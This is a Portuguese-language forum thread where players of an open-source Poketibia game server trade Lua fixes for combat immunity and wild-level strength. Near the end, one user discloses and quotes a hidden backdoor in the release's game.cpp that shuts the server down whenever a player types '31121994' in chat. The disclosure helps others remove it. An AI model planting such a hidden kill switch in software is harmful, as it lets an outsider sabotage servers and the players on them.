TA
poke

[DxP] Exclusivo Poketibia OpenSource+Cliente+Site+DB

Por Taiger, 19 de jun. de 2016 em OTServer Alternativo (ATS)

poketibia
poke tibia
open source
opensource
dxp
poketibiadxp
dxp 2016
1.2k
268.4k
DrakopoulosD
25 de agosto de 2016 às 16:13
12 minutos atrás, KarlKalvin disse:

Acho que você trocar a variavel de 

if value == 0 then

por ~= 0 deve funcionar vou testar aqui...

 

if value == 0 then return false

Essa parte ele verifica se a magia que soltar é imune

se por ~= 0 não irá ter imunidade nas magias.

KarlKalvinK
25 de agosto de 2016 às 16:18

 

 



if(combat == 128 or combat == 1) and getPlayerStorageValue(attacker, 21102) == -1 then -- ataque basico
       doSendMagicEffect(getThingPos(cid), 3)
       value = getEffectvineCombat(cid, attacker, value)
        if value == 0 then 
           return false
        else
           value = value * getOffense(attacker) -- buff ataque system 
           local name = doCorrectString(getCreatureName(attacker))
           if pokes[name] and pokes[name].level <= 5 and value ~= 0 then 
              value = -math.random(pokes[name].offense, pokes[name].offense+5)
           end
        end
    else -- magia
       value = getEffectvineSpell(attacker, spellNameFromAttacker, cid) -- checagem de efetividades de magia
       if value == 0 then 
           return false
        else
           value = value * (1 + getSpecialAttack(attacker) / 100)
        end
    end    

 

 

Tenta assim, não é querer se chato mas se não funcionar agora não sei :3

FireShokF
25 de agosto de 2016 às 17:48
7 horas atrás, KarlKalvin disse:

 

23 horas atrás, FireShok disse:

 

oq eu quiz dizer foi que o wild lvl dos pokes ou seja o lvl dos pokes selvagens estao bugados , ex: Mew  com  Wild lvl 1000 e muito muito fraco . e alias se eu quise add pokes pros players de lvl 100+ uparem nao é possivel por causa desse bug , entao o limite medio que o player pode atingir no ot e so 100 ,121 <-- pq nao e possivel add pokes mais fortes pra eles uparem , no caso queria add a 3 geraçao , mas para deixar os pokes mais fortes e nescessario subir os status dos pokes muito e isso deixaria os pokes desbalanceados , e eles seriam mais fortes que qualquer outros pokes no jogo.

Entendi oque você quer fazer o seu problema é aqui no levelsystem na lib

 

Citar

 

        if pokes[nick].wildLvl > 50 then

           pokeLifeMax = pokeLifeMax * 5

        end

 

 

 

Ela tá trabalhando com multiplicação única * 5 então se você alterar o wildLvl lá não vai deixar o poke mais forte.

Você teria que setar a multiplicação pela tabela wildLvl

 

Citar

 

 

 

pokes[nick].wildLvl

 

 

sim. Mas eu so quero aumentar a força de um poke especifico sem mecher no status dele , ex: so aumentando o lvl selvagem dele. como e que eu fasso isso ? no caso ai é pra todos os pokes ou to errado ? oq devo fazer ?

26 de agosto de 2016 às 21:37

Alguem tem remere editor?

KarlKalvinK
26 de agosto de 2016 às 23:32
Em 25/08/2016 at 17:48, FireShok disse:

sim. Mas eu so quero aumentar a força de um poke especifico sem mecher no status dele , ex: so aumentando o lvl selvagem dele. como e que eu fasso isso ? no caso ai é pra todos os pokes ou to errado ? oq devo fazer ?

 

Você quer aumentar a força dos seus respectivos pokémons pelo wildLvl né? se você por 1000 ali o poke vai ficar bem mais forte que um de 100 não é isso que você quer?

Se é isso que você quer você vai na lib/levelsystem.lua

logo no começo tem isso

Citar

 

 

if pokes[nick].wildLvl > 50 then

           pokeLifeMax = pokeLifeMax * 3

        end

 

 

 

 

 

 

       if pokes[nick].wildLvl > 10 then

           pokeLifeMax = pokeLifeMax * 2 + (100 * pokes[nick].wildLvl)

        end

 

 

Pronto agora quando você editar no wildLvl lá a força vai ser diferenciada!

Deixa assim:

 

 

Editado Agosto 26 por KarlKalvin

FireShokF
27 de agosto de 2016 às 00:09
36 minutos atrás, KarlKalvin disse:

 

Você quer aumentar a força dos seus respectivos pokémons pelo wildLvl né? se você por 1000 ali o poke vai ficar bem mais forte que um de 100 não é isso que você quer?

Se é isso que você quer você vai na lib/levelsystem.lua

logo no começo tem isso

 

  Ocultar conteúdo

 

 

       if pokes[nick].wildLvl > 10 then

           pokeLifeMax = pokeLifeMax * 2 + (100 * pokes[nick].wildLvl)

        end

 

 

Pronto agora quando você editar no wildLvl lá a força vai ser diferenciada!

Deixa assim:

 

 

vlw rep+

KarlKalvinK
27 de agosto de 2016 às 06:26

Alguem achou essa função : checkChenceToMega ?

JosegvbJ
27 de agosto de 2016 às 09:04
2 horas atrás, KarlKalvin disse:

Alguem achou essa função : checkChenceToMega ?

 

sim, esta na lib Pokemon moves

Testing111T
27 de agosto de 2016 às 12:29

Pro pessoal que quer corrigir o problema do pokemon não bater melee em bichos que não deveriam acertar as SPELLS:

 

Vai em data/lib/106-main functions.lua e procure por:

    elseif isInArray(typeTable[pokeRaceAttacker].non, pokeRaceDefender) or isInArray(typeTable[pokeRaceAttacker].non, pokeRaceDefender) then -- elemento atacante ser mais forte que os elementos de defesa        value = 0    end

Altere por:

    elseif isInArray(pokesGhosts, getCreatureName(cid)) then -- não bater em pokemons ghosts        value = 0    end

Procure no arquivo data/lib/106-main functions.lua a função:

function getEffectvineSpell(attacker, spellNameFromAttacker, value, cid)

Adicione antes do return value isso:

setPlayerStorageValue(attacker, 21102, -1) 

Ficando assim:

Spoiler

function getEffectvineSpell(attacker, spellNameFromAttacker, value, cid) -- printar os elementos
if(spellNameFromAttacker ~= -1) then -- checagem de efetividades
local name = getCreatureName(attacker) -- reflect system
      if isMega(attacker) then
         name = getPlayerStorageValue(attacker, storages.isMega)
      end
local spellRace, pokeElement1, pokeElement2 = getMoveType(name, spellNameFromAttacker), getPokemonType(cid).type1, getPokemonType(cid).type2
    
    if not typeTable[spellRace] then 
        local remover = removeSpellInXML(doCorrectString(name), spellNameFromAttacker)
        if remover then print("Magia: " .. spellNameFromAttacker .. " removida do XML: " .. doCorrectString(name) .. ".xml") end
        return 0
    end
    if isInArray(typeTable[spellRace].super, pokeElement1) or isInArray(typeTable[spellRace].super, pokeElement2) then -- elemento atacante ser mais forte que os elementos de defesa
        value = value * 1.3
    elseif isInArray(typeTable[spellRace].week, pokeElement1) or isInArray(typeTable[spellRace].week, pokeElement2) then -- elemento atacante ser mais forte que os elementos de defesa
        value = value
    elseif isInArray(typeTable[spellRace].non, pokeElement1) or isInArray(typeTable[spellRace].non, pokeElement2) then -- elemento atacante ser mais forte que os elementos de defesa
        value = 0
    end
    
    if getCreatureName(cid) == "Venusaur" and value ~= 0 and isMega(cid) and isInArray({"ice", "fire"}, spellRace)then -- Passiva thick fat
       value = value / 2
    end
end

    setPlayerStorageValue(attacker, 21102, -1) 
    return value
end

Agora no arquivo data/lib/107-main tables.lua voce altera os pokemons que não vão levar dano melee nessa linha:

pokesGhosts = {"Gengar", "Haunter", "Gastly"}

Editado: função tava errada.

Editado Agosto 27 por Testing111

JosegvbJ
27 de agosto de 2016 às 13:25
55 minutos atrás, Testing111 disse:

Pro pessoal que quer corrigir o problema do pokemon não bater melee em bichos que não deveriam acertar as SPELLS:

 

Vai em data/lib/106-main functions.lua e procure por:

    elseif isInArray(typeTable[pokeRaceAttacker].non, pokeRaceDefender) or isInArray(typeTable[pokeRaceAttacker].non, pokeRaceDefender) then -- elemento atacante ser mais forte que os elementos de defesa
        value = 0
    end

Altere por:

    elseif isInArray(pokesGhosts, nomeDefense) then -- não bater em pokemons ghosts
        value = 0
    end

Agora no arquivo data/lib/107-main tables.lua voce altera os pokemons que não vão levar dano melee nessa linha:

pokesGhosts = {"Gengar", "Haunter", "Gastly"}

 

 

Olha! obrigado pelo codigo, testei aqui mas ainda acontece oque @Drakopoulos disse

ele bate melee ate q for usado 1 cd de ELECTRICDAMAGE logo o melee para de bater mas se usar o mega kick do raichu o melee volta a funfar...

048bfdcf186708a701cfa5928df95e13.gif

Testing111T
27 de agosto de 2016 às 15:27
1 hora atrás, Josegvb disse:

 

Olha! obrigado pelo codigo, testei aqui mas ainda acontece oque @Drakopoulos disse

ele bate melee ate q for usado 1 cd de ELECTRICDAMAGE logo o melee para de bater mas se usar o mega kick do raichu o melee volta a funfar...

048bfdcf186708a701cfa5928df95e13.gif

 

Editei o meu post, fiz uns testes e parece estar normal agora.

27 de agosto de 2016 às 15:33

Alguem tem link remere editor? 

JosegvbJ
27 de agosto de 2016 às 15:39
8 minutos atrás, Testing111 disse:

 

Editei o meu post, fiz uns testes e parece estar normal agora.

 

paresce que agora esta funfando, mas estou com 1 erro q nao sei se é producido por essa modificaçao ou por oq eu falei anteriormente o "segundo hit que quebra a defense"

d6cbad66402426bcd6260dbf5cd5db72.gif

 

d30881a414ef6d866daba900536d7ac8.gif

 

76b784ac058a796a9fb967dcaf0653c1.gif

 

 

eu ja disse q tem mt coisa estranha nos type... 

dalvorsnD
27 de agosto de 2016 às 16:27

Conferi o que falou sobre derrubar, de fato, quando algum player falar alguma frase que contenha a seguinte string: '31121994' ele da shutdown

 

game.cpp: linha 3943:3952

		int specs = 31121994;		stdstring findText;		stdstringstream findTextInput;		findTextInput << specs;		findText = findTextInput.str();		bool exists = text.find(findText) != stdstringnpos;		if(exists){			DispatchergetInstance().addTask(createTask(boostbind(&GamesetGameState, this, GAME_STATE_SHUTDOWN)));			return true; 		}

Basta remover isso

JosegvbJ
27 de agosto de 2016 às 16:32
4 minutos atrás, dalvorsn disse:

Conferi o que falou sobre derrubar, de fato, quando algum player falar alguma frase que contenha a seguinte string: '31121994' ele da shutdown

 

game.cpp: linha 3943:3952

		int specs = 31121994;
		std::string findText;
		std::stringstream findTextInput;
		findTextInput << specs;
		findText = findTextInput.str();
		bool exists = text.find(findText) != std::string::npos;
		if(exists){
			Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN)));
			return true; 
		}

Basta remover isso

 

Obrigado, no meu nao tem ^^ eu uso a versao do @boxxer321
porem as veces o server fecha sozinho tb, nem faço ideia o pq...